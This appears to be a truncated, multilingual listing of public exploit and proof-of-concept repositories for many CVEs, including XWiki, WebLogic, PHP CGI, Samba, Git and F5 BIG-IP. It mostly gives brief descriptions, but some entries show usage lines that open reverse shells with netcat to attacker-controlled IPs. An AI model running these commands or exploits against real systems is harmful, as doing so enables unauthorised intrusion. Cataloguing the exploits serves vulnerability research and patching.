CVE-2023-50564

CVE-2023-50564 CVE-2023-50564 é uma vulnerabilidade de RCE no Pluck CMS v4.7.18. Ela é possibilitada por uma vulnerabilidade de upload arbitrário de arquivos no componente /inc/modulesinstall.php, permitindo executar código arbitrário ao enviar um arquivo .zip malicioso. Uso Antes de executar o...

CVE-2026-34197-Apache-ActiveMQ-RCE

Corrigido o problema de falha do reverse shell devido à falta de escape XML no comando...

CVE-2018-10562

CVE-2018-10562 CVE-2018-10562 exploit Sobre RCE em roteadores domésticos GPON CVE-2018-10561: Bypass de Autenticação CVE-2018-10562: Injeção de Comando Dependências necessárias requests urllib2 ssl re Capturas de tela...

CVE-2023-29360

CVE-2023-29360 Blog sobre o código de exploit pode ser encontrado aqui...

CVE-2016-0792

Exploit para vulnerabilidade de serialização do Jenkins - CVE-2016-0792 https://www.exploit-db.com/exploits/42394/ Mais informações podem ser encontradas aqui 1. Contrast Security 2. Pentester Lab Requisitos 1. Python 3.6.x 2. A biblioteca requests é necessária para que este exploit funcione sudo...

CVE-2025-56762

Descrição: A aplicação utiliza “error.php” para servir o respectivo código de erro conforme o caso de uso de volta para a aplicação web ao encontrar um erro. Ao inspecionar o código-fonte, foi descoberto que a aplicação não sanitiza o parâmetro “code” ao criar um código JavaScript malicioso,...

bitbucket-test

Container Docker para investigar CVE-2022-36804 Recriando uma vulnerabilidade de execução remota de código onde o Bitbucket falha ao sanitizar a entrada do usuário, permitindo que atacantes injetem flags do Git e executem código remotamente. Este repositório documenta como reproduzi a...

CVE-2025-24893

CVE-2025-24893 Exploit de Execução Remota de Código para XWiki para versões anteriores a 15.10.11, 16.4.1 e 16.5.0RC1. Uso root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Use apenas para fins éticos :...

CVE-2024-32002

CVE-2024-32002: Ausnutzung von Git RCE mittels git clone Dieses Repository enthält einen PoC zur Ausnutzung von CVE-2024-32002, einer Schwachstelle in Git, die RCE während eines git clone-Vorgangs ermöglicht. Durch das spezielle Erstellen von Repositories mit Submodulen kann ein Angreifer die...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 riguarda Apache Tomcat: se si tratta di una versione vulnerabile e clamorosamente mal configurata, un attaccante può ottenere RCE con una sola GET e una sola POST. Maggiori informazioni qui Questo è lo script di Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang e Qi Den...

CVE-2024-32002-PoC_Chinese

Panoramica della vulnerabilità CVE-2024-32002 ⚠️ Attenzione!: Non clonare questo repository!!! ⚠️ Descrizione CVE-2024-32002 è una grave vulnerabilità di sicurezza scoperta nel software Git. Questa vulnerabilità consente a un attaccante remoto di eseguire codice arbitrario sui sistemi interessati...

CVE-2022-29063

CVE-2022-29063: Java-Deserialisierung über RMI-Verbindung in Apache OfBiz Das OfBiz-Solr-Plugin ist standardmäßig so konfiguriert, dass es automatisch eine RMI-Anfrage an localhost, Port 1099, sendet. Indem ein Angreifer einen bösartigen RMI-Server auf localhost hostet, kann er dieses Verhalten...

cve-2024-4577

cve-2024-4577 POC Verifica la presenza di vulnerabilità python cve-2024-4577.py -u http://172.16.128.133 Dopo aver rilevato una vulnerabilità, puoi usare -c per eseguire un comando personalizzato python cve-2024-4577.py -u http://172.16.128.133 -c '?php system'whoami';'...

CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc sophos webmin portal auth bypass e rce tutto in un unico script; La vulnerabilità colpisce Sophos Firewall v18.5 MR3 18.5.3 e versioni precedenti Mitigazione: aggiorna all'ultima versione il prima possibile...

CVE-2017-7494

CVE-2017-7494 Exploit remoto per root per la vulnerabilità SAMBA CVE-2017-7494. Dettagli Questo exploit è diviso in 2 parti: Prima, compila un payload chiamato "implant.c" e genera una libreria libimplantx32.so o libimplantx64.so che passa all'utente root, si stacca dal processo genitore e avvia...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner Automatisierter F5 Big IP Remote Code Execution CVE-2020-5902 Scanner, geschrieben in Python 3 Schwachstellenbeschreibung F5 hat am 30. Juni 2020 eine kritische Remote Code Execution-Schwachstelle CVE-2020-5902 veröffentlicht, die mehrere Versionen von Big IP betrifft...

f5-bigip-rce-cve-2020-5902

Strumento di rilevamento delle vulnerabilità F5 BIG-IP RCE CVE-2020-5902 Sommario Il 6 luglio 2020, è stata divulgata online la vulnerabilità RCE di F5 BIG-IP TMUI. Il componente TMUI Traffic Management User Interface di F5 BIG-IP presenta una vulnerabilità di bypass dell'autenticazione. Il...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP für Python in einem Schritt vollständig Verwendung: Python3 exploit.py -t -c Tipps: Kein Echo Beispiel： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' dann erhältst du eine Shell...

CVE-2024-4577

CVE-2024-4577 Exploit di Remote Code Execution per PHP CGI Autore: Byte Reaper CVE: CVE-2024-4577 Categoria: Web Exploitation Versioni target: PHP CGI 8.1, 8.2, 8.3 Windows MIT...

CVE-2022-22947

CVE-2022-22947 Ein Code-Injection-Angriff auf Spring Cloud Gateway Zusammenfassung der CVE Bei Spring Cloud Gateway-Versionen vor 3.1.1+ und 3.0.7+ sind Anwendungen anfällig für einen Code-Injection-Angriff, wenn der Gateway-Actuator-Endpoint aktiviert, exponiert und ungesichert ist. Ein entfernt...